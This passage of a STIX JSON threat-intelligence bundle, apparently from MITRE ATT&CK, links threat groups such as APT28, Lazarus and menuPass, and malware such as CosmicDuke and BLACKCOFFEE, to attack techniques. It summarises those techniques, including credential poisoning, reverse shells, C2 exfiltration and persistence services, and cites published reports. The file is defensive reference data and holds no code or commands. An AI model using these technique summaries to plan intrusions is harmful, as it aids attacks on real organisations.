                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                },
                {
                    "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html",
                    "source_name": "FireEye APT29 Nov 2018"
                },
                {
                    "source_name": "ESET Dukes October 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf",
                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
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            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
            "type": "relationship",
            "modified": "2020-10-09T16:07:58.988Z",
            "created": "2018-04-18T17:59:24.739Z"
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            "description": "[FLIPSIDE](https://attack.mitre.org/software/S0173) uses RDP to tunnel traffic from a victim environment.(Citation: Mandiant FIN5 GrrCON Oct 2016)",
            "object_marking_refs": [
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            ],
            "external_references": [
                {
                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
                }
            ],
            "source_ref": "malware--0e18b800-906c-4e44-a143-b11c72b3448b",
            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2020-03-17T01:21:28.071Z",
            "created": "2018-01-16T16:13:52.465Z"
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            "source_ref": "course-of-action--d2dce10b-3562-4d61-b2f5-7c6384b038e2",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec",
            "type": "relationship",
            "modified": "2020-01-31T18:59:59.381Z",
            "created": "2018-01-16T16:13:52.465Z"
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        {
            "id": "relationship--cb69217e-f063-4093-bcf0-f051ecd42e25",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT28](https://attack.mitre.org/groups/G0007) deployed the open source tool Responder to conduct NetBIOS Name Service poisoning, which captured usernames and hashed passwords that allowed access to legitimate credentials.(Citation: FireEye APT28)(Citation: FireEye APT28 Hospitality Aug 2017) [APT28](https://attack.mitre.org/groups/G0007) close-access teams have used Wi-Fi pineapples to intercept Wi-Fi signals and user credentials.(Citation: US District Court Indictment GRU Oct 2018)",
            "object_marking_refs": [
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                {
                    "source_name": "FireEye APT28",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html",
                    "description": "Smith, L. and Read, B.. (2017, August 11). APT28 Targets Hospitality Sector, Presents Threat to Travelers. Retrieved August 17, 2017.",
                    "source_name": "FireEye APT28 Hospitality Aug 2017"
                },
                {
                    "source_name": "US District Court Indictment GRU Oct 2018",
                    "url": "https://www.justice.gov/opa/page/file/1098481/download",
                    "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020."
                }
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529",
            "type": "relationship",
            "modified": "2020-10-06T19:05:06.828Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--e590aaaa-40fd-4f61-93f3-f2d6daee65a4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that can enumerate the permissions associated with Windows groups.(Citation: Symantec Buckeye)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong",
                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
                    "source_name": "Symantec Buckeye"
                }
            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce",
            "type": "relationship",
            "modified": "2019-04-29T18:01:20.401Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--520f5440-740f-4efe-850e-ea4db340aef1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia saves information gathered about the victim to a file that is uploaded to one of its 10 C2 servers. Another [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample also performs exfiltration over the C2 channel.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)(Citation: McAfee Lazarus Resurfaces Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
                },
                {
                    "source_name": "Novetta Blockbuster Loaders",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.",
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf"
                },
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/",
                    "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.",
                    "source_name": "McAfee Lazarus Resurfaces Feb 2018"
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2020-12-11T17:47:22.704Z",
            "created": "2017-05-31T21:33:27.068Z"
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        {
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        },
        {
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            "description": "[APT19](https://attack.mitre.org/groups/G0073) downloaded and launched code within a SCT file.(Citation: FireEye APT19)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html",
                    "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.",
                    "source_name": "FireEye APT19"
                }
            ],
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            "type": "relationship",
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            "description": "After data is collected by [Stealth Falcon](https://attack.mitre.org/groups/G0038) malware, it is exfiltrated over the existing C2 channel.(Citation: Citizen Lab Stealth Falcon May 2016)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Citizen Lab Stealth Falcon May 2016",
                    "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.",
                    "url": "https://citizenlab.org/2016/05/stealth-falcon/"
                }
            ],
            "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
            "type": "relationship",
            "modified": "2020-03-17T02:38:48.493Z",
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        },
        {
            "id": "relationship--0dd74596-509c-4669-9d29-e1fb501c9c70",
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            "description": "[Catchamas](https://attack.mitre.org/software/S0261) creates three Registry keys to establish persistence by adding a [Windows Service](https://attack.mitre.org/techniques/T1543/003).(Citation: Symantec Catchamas April 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Catchamas April 2018",
                    "description": "Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.",
                    "url": "https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99"
                }
            ],
            "source_ref": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2021-02-09T14:51:14.723Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
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            "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) spearphished victims via Facebook and Whatsapp.(Citation: Lookout Dark Caracal Jan 2018)",
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                    "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.",
                    "source_name": "Lookout Dark Caracal Jan 2018"
                }
            ],
            "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12",
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            "target_ref": "attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317",
            "type": "relationship",
            "modified": "2019-07-16T15:35:20.800Z",
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        },
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            ],
            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
            "relationship_type": "uses",
            "target_ref": "tool--242f3da3-4425-4d11-8f5c-b842886da966",
            "external_references": [
                {
                    "url": "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?",
                    "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.",
                    "source_name": "DarkReading FireEye FIN5 Oct 2015"
                },
                {
                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8",
                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
                    "source_name": "Mandiant FIN5 GrrCON Oct 2016"
                }
            ],
            "description": "(Citation: DarkReading FireEye FIN5 Oct 2015)(Citation: Mandiant FIN5 GrrCON Oct 2016)",
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        },
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            "source_ref": "course-of-action--54246e2e-683f-4bf2-be4c-d7d5a60e7d22",
            "relationship_type": "mitigates",
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            "relationship_type": "uses",
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            "external_references": [
                {
                    "source_name": "Mandiant No Easy Breach",
                    "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.",
                    "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016"
                }
            ],
            "description": "(Citation: Mandiant No Easy Breach)",
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            "description": "[APT37](https://attack.mitre.org/groups/G0067) obfuscates strings and payloads.(Citation: Talos Group123)(Citation: Securelist ScarCruft May 2019)",
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            ],
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                {
                    "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html",
                    "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.",
                    "source_name": "Talos Group123"
                },
                {
                    "source_name": "Securelist ScarCruft May 2019",
                    "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/",
                    "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019."
                }
            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-02-05T14:40:37.120Z",
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        },
        {
            "id": "relationship--e46dc495-5581-471c-84b5-b0dd825471f9",
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            "object_marking_refs": [
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            "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a",
            "relationship_type": "uses",
            "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
            "external_references": [
                {
                    "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf",
                    "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.",
                    "source_name": "PTSecurity Cobalt Group Aug 2017"
                },
                {
                    "url": "https://www.group-ib.com/blog/cobalt",
                    "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.",
                    "source_name": "Group IB Cobalt Aug 2017"
                }
            ],
            "description": "(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: Group IB Cobalt Aug 2017)",
            "type": "relationship",
            "modified": "2019-07-26T23:38:34.200Z",
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        },
        {
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            "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) steals user files from removable media with file extensions and keywords that match a predefined list.(Citation: F-Secure Cosmicduke)",
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            ],
            "external_references": [
                {
                    "source_name": "F-Secure Cosmicduke",
                    "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec",
            "type": "relationship",
            "modified": "2020-03-16T16:36:13.660Z",
            "created": "2017-12-14T16:46:06.044Z"
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        {
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            "source_ref": "course-of-action--ad7f983d-d5a8-4fce-a38c-b68eda61bf4e",
            "relationship_type": "mitigates",
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            "type": "relationship",
            "modified": "2020-03-02T19:21:35.334Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--1b4cd403-8e3a-43da-bc25-a7e8d707794b",
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            "source_ref": "course-of-action--7ee0879d-ce4f-4f54-a96b-c532dfb98ffd",
            "relationship_type": "mitigates",
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            "type": "relationship",
            "modified": "2020-05-26T19:21:26.074Z",
            "created": "2017-05-31T21:33:27.017Z"
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            "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) backdoor RoyalDNS established persistence through adding a service called <code>Nwsapagent</code>.(Citation: NCC Group APT15 Alive and Strong)",
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            ],
            "external_references": [
                {
                    "source_name": "NCC Group APT15 Alive and Strong",
                    "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.",
                    "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
                }
            ],
            "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2021-03-29T19:54:46.144Z",
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            ],
            "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87",
            "relationship_type": "uses",
            "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1",
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/",
                    "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.",
                    "source_name": "McAfee Honeybee"
                }
            ],
            "description": "(Citation: McAfee Honeybee)",
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            "modified": "2020-04-16T19:41:40.594Z",
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        },
        {
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            "description": "[Bisonal](https://attack.mitre.org/software/S0268)'s dropper creates VBS scripts on the victim\u2019s machine.(Citation: Unit 42 Bisonal July 2018)",
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            ],
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                {
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                    "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/"
                }
            ],
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            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2020-03-17T18:24:43.127Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--ab6a19e4-ce00-46cd-ae83-0798471e4a4a",
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            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors look for and use VPN profiles during an operation to access the network using external VPN services.(Citation: Dell TG-3390) [Threat Group-3390](https://attack.mitre.org/groups/G0027) has also obtained OWA account credentials during intrusions that it subsequently used to attempt to regain access when evicted from a victim network.(Citation: SecureWorks BRONZE UNION June 2017)",
            "object_marking_refs": [
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            ],
            "external_references": [
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                },
                {
                    "url": "https://www.secureworks.com/research/bronze-union",
                    "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.",
                    "source_name": "SecureWorks BRONZE UNION June 2017"
                }
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d",
            "type": "relationship",
            "modified": "2020-03-19T20:15:05.394Z",
            "created": "2017-05-31T21:33:27.062Z"
        },
        {
            "id": "relationship--3363ae54-1fe3-4c9f-b074-79dc0d7fbba5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[GeminiDuke](https://attack.mitre.org/software/S0049) collects information on running processes and environment variables from the victim.(Citation: F-Secure The Dukes)",
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            ],
            "external_references": [
                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-03-17T01:22:53.951Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--35e47be3-2a31-401f-ad65-a2fa34f861f1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) queried the Registry to identify victim information.(Citation: US-CERT TA18-074A)",
            "object_marking_refs": [
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            ],
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                }
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2019-03-22T20:13:49.510Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--dea36846-b8ad-4926-a242-9fa2d12069c8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[menuPass](https://attack.mitre.org/groups/G0045) executes commands using a command-line interface and reverse shell. The group has used a modified version of pentesting script wmiexec.vbs to execute commands.(Citation: PWC Cloud Hopper April 2017)(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: Github AD-Pentest-Script)(Citation: FireEye APT10 Sept 2018) [menuPass](https://attack.mitre.org/groups/G0045) has used malicious macros embedded inside Office documents to execute files.(Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.",
                    "source_name": "PWC Cloud Hopper April 2017"
                },
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                },
                {
                    "url": "https://github.com/Twi1ight/AD-Pentest-Script/blob/master/wmiexec.vbs",
                    "description": "Twi1ight. (2015, July 11). AD-Pentest-Script - wmiexec.vbs. Retrieved June 29, 2017.",
                    "source_name": "Github AD-Pentest-Script"
                },
                {
                    "source_name": "FireEye APT10 Sept 2018",
                    "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"
                },
                {
                    "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf",
                    "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.",
                    "source_name": "Accenture Hogfish April 2018"
                },
                {
                    "source_name": "FireEye APT10 Sept 2018",
                    "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"
                }
            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T02:34:56.709Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--0c2ba74b-a5b0-493c-84f3-41b6131070a0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--95c29444-49f9-49f7-8b20-bcd68d8fcaa6",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--4bf5845d-a814-4490-bc5c-ccdee6043025",
            "type": "relationship",
            "modified": "2020-01-24T14:48:05.765Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--71ae6f80-3d5c-4d61-8995-5844f9f592ed",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used PowerShell for execution.(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "source_name": "Proofpoint Leviathan Oct 2017"
                },
                {
                    "source_name": "FireEye Periscope March 2018",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
                }
            ],
            "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2019-04-25T12:24:57.297Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--3afd226c-934f-44fd-8194-9a6dee5cba59",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware uses multiple types of encryption and encoding in its malware files, including AES, Caracachs, RC4, basic XOR with constant 0xA7, and other techniques.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)(Citation: Novetta Blockbuster RATs)(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: TrendMicro macOS Dacls May 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
                },
                {
                    "source_name": "Novetta Blockbuster Loaders",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.",
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf"
                },
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.",
                    "source_name": "Novetta Blockbuster RATs"
                },
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/",
                    "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.",
                    "source_name": "McAfee Lazarus Resurfaces Feb 2018"
                },
                {
                    "source_name": "TrendMicro macOS Dacls May 2020",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/",
                    "description": "Mabutas, G. (2020, May 11). New MacOS Dacls RAT Backdoor Shows Lazarus\u2019 Multi-Platform Attack Capability. Retrieved August 10, 2020."
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-12-11T17:47:22.740Z",
            "created": "2017-05-31T21:33:27.065Z"
        },
        {
            "id": "relationship--41747c46-1dd1-418b-84e9-75710f17a10c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BLACKCOFFEE](https://attack.mitre.org/software/S0069) has the capability to create a reverse shell.(Citation: FireEye APT17)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT17",
                    "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf"
                }
            ],
            "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-17T19:06:43.723Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--2f68f61d-07e1-4181-a26c-93433f9f0db7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CopyKittens](https://attack.mitre.org/groups/G0052) has used PowerShell Empire.(Citation: ClearSky Wilted Tulip July 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf",
                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
                    "source_name": "ClearSky Wilted Tulip July 2017"
                }
            ],
            "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2019-05-03T16:42:19.202Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--d0c9e994-ddaf-4fb3-b57b-12bb05c552e6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used valid, compromised email accounts for defense evasion, including to send malicious emails to other victim organizations.(Citation: Proofpoint Leviathan Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
